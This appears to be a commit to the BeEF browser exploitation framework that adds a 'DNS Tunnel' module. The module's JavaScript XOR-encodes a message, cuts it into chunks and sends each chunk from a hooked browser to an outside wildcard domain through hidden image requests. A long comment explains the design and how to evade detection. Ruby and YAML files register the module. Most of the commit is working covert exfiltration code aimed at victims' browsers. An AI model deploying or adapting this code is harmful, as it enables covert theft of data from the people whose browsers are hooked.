Added DNS Tunnel first draft

This commit is contained in:
bcoles
2011-12-23 08:24:10 +10:30
parent 6ff92f48e0
commit f2d4592941
5 changed files with 213 additions and 1 deletions

View File

@@ -0,0 +1,82 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/*!
* @literal object: beef.net.dns
*
* request object structure:
* + msgId: {Integer} Unique message ID for the request.
* + domain: {String} Remote domain to retrieve the data.
* + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
* + callback: {Function} Callback function to receive the number of requests sent.
*/
beef.net.dns = {
handler: "dns",
send: function(msgId, messageString, domain, wait, callback) {
var dom = document.createElement('b');
// DNS settings
var max_domain_length = 255-5-5-5-5-5;
var max_segment_length = max_domain_length - domain.length;
// splits strings into chunks
String.prototype.chunk = function(n) {
if (typeof n=='undefined') n=100;
return this.match(RegExp('.{1,'+n+'}','g'));
};
// XORs a string
xor_encrypt = function(str, key) {
var result="";
for(i=0;i<str.length;++i) {
result+=String.fromCharCode(key^str.charCodeAt(i));
}
return result;
};
// sends a DNS request
sendQuery = function(query) {
//console.log("Requesting: "+query);
var img = new Image;
img.src = "http://"+query;
img.onload = function() { dom.removeChild(this); }
img.onerror = function() { dom.removeChild(this); }
dom.appendChild(img);
}
// encode message
var xor_key = Math.floor(Math.random()*99000+1000);
encoded_message = encodeURI(xor_encrypt(messageString, xor_key)).replace(/%/g,".");
// Split message into segments
segments = encoded_message.chunk(max_segment_length)
for (seq=1; seq<=segments.length; seq++) {
// send segment
sendQuery(msgId+"."+seq+"."+segments.length+"."+xor_key+segments[seq-1]+"."+domain);
}
// callback - returns the number of queries sent
if (!!callback) callback(segments.length);
}
};
beef.regCmp('beef.net.dns');

View File

@@ -29,7 +29,7 @@ module Modules
beefjs = ''
# @note location of sub files
beefjs_path = "#{$root_dir}/core/main/client/"
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js)
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
# @note construct the beefjs string from file(s)
js_sub_files.each {|js_sub_file_name|

View File

@@ -0,0 +1,70 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/*
Poor man's omni-directional DNS tunnel in JavaScript.
The largely-untested, highly experimental first draft.
How it works:
A remote domain with a DNS server configured to accept wildcard subdomains is required to receive the data. BeEF does not support this feature so you're on your own when it comes to decoding the information.
A domain and message are taken as input. The message is XOR'd, url encoded, the "%" are replaced with "." and the message is split into segments of 230 bytes. The queries are sent in sequence however there are plans to randomize the order.
To allow the original message to be pieced back together each message is allocated an id and each DNS query is given a sequence number. The final domain name used in the query is structured as follows:
MESSAGE_ID.SEGMENT_SEQUENCE_NUMBER.TOTAL_SEGMENTS.XOR_KEY.MESSAGE_SEGMENT.REMOTE_DOMAIN
Assuming a remote domain of max length 63 characters this leaves 167 characters for our message segment in each query as per the following breakdown:
[5].[5].[5].[5].[255-5-5-5-5-5-DOMAIN_LENGTH].[DOMAIN_LENGTH]
This approach, while flawed and simplistic, should comply with the limitations to DNS according to RFC 1035:
o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
o Domain names are limited to 255 characters in length (including dots)
o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
o Subdomains are limited to 63 characters in length (including the trailing dot)
Each query is sent by appending an image to the DOM containing the query as the image source. The images are later destroyed.
Features:
o Does not use DNS pre-fetching - The downside is that the requests will take a while to timeout unless the DNS server is configured to reply with NXDOMAIN (ie, blackholed) for all requests.
o Encryption - Uses very weak "encryption" (XOR) and the key is transferred with the request.
o Randomization - Each segment is given a sequence id. TODO: Send segments in a random order.
Caveats:
o Omni-directional - Data can only be sent one way.
o Message size - Limited to messages less than 64KB in length.
o Limited by JavaScript strings. Byte code needs to be converted to a compatible string before it can be sent. There's also lots of wasted space. Converting to hex would be much cleaner and would save a few bytes for each query.
o Throttling - There is no throttling. The browser may only initiate x amount of simultaneous connections. The requests should be throttled to avoid hitting the cap. TODO: Introduce a wait delay between each request to partially account for this.
o Time consuming - It takes forever and there is no resume feature.
o Encryption - Uses very weak "encryption" (XOR) and the key is transferred with the request.
o Encoding - Using encodeURI() is a terrible alternative to using base64 for a few reasons. It *might* fail horribly if a high value unicode character is XOR'd with a high value key. It *will* fail horribly if a low value key is used.
o Compression - The requests are not compressed.
o Encoding - Currently uses JavaScript fromCharCode unicode rather than a modified version of base64.
o Padding - The last query contains no padding which makes it easy for network administrators to spot. This isn't really a problem as the sequence numbers are in plain sight.
*/
beef.execute(function() {
var msgId = "<%= @command_id %>";
var wait = "<%= @wait %>";
var domain = "<%= @domain %>";
var message = "<%= @message %>";
beef.net.dns.send(msgId, message, domain, wait, function(num) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+num) } );
});

View File

@@ -0,0 +1,25 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
dns_tunnel:
enable: true
category: "Debug"
name: "DNS Tunnel"
description: "Sends data over DNS to a server which accepts wildcard subdomains."
authors: ["bcoles"]
target:
working: "All"

View File

@@ -0,0 +1,35 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Dns_tunnel < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
return [
{'name' => 'domain', 'ui_label'=>'Domain', 'type' => 'text', 'width' => '400px', 'value' => beef_host },
{'name' => 'message', 'ui_label'=>'Message', 'type' => 'textarea', 'value' =>'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rutrum fermentum nunc, vel varius libero pharetra a. Duis rhoncus nisi volutpat elit suscipit auctor. In fringilla est eget tortor bibendum gravida. Pellentesque aliquet augue libero, at gravida arcu. Nunc et quam sapien, eu pulvinar erat. Quisque dignissim imperdiet neque, et interdum sem sagittis a. Maecenas non mi elit, a luctus neque. Nam pulvinar libero sit amet dui suscipit facilisis. Duis sed mauris elit. Aliquam cursus scelerisque diam a fringilla. Curabitur mollis nisi in ante hendrerit pellentesque ut ac orci. In congue nunc vitae enim pharetra eleifend.', 'width' => '400px', 'height' => '300px'},
# {'name' => 'wait', 'ui_label' => 'Wait between requests (ms)', 'value' => '1000', 'width'=>'100px' }
]
end
def post_execute
content = {}
content['dns_requests'] = @datastore['dns_requests']
save content
end
end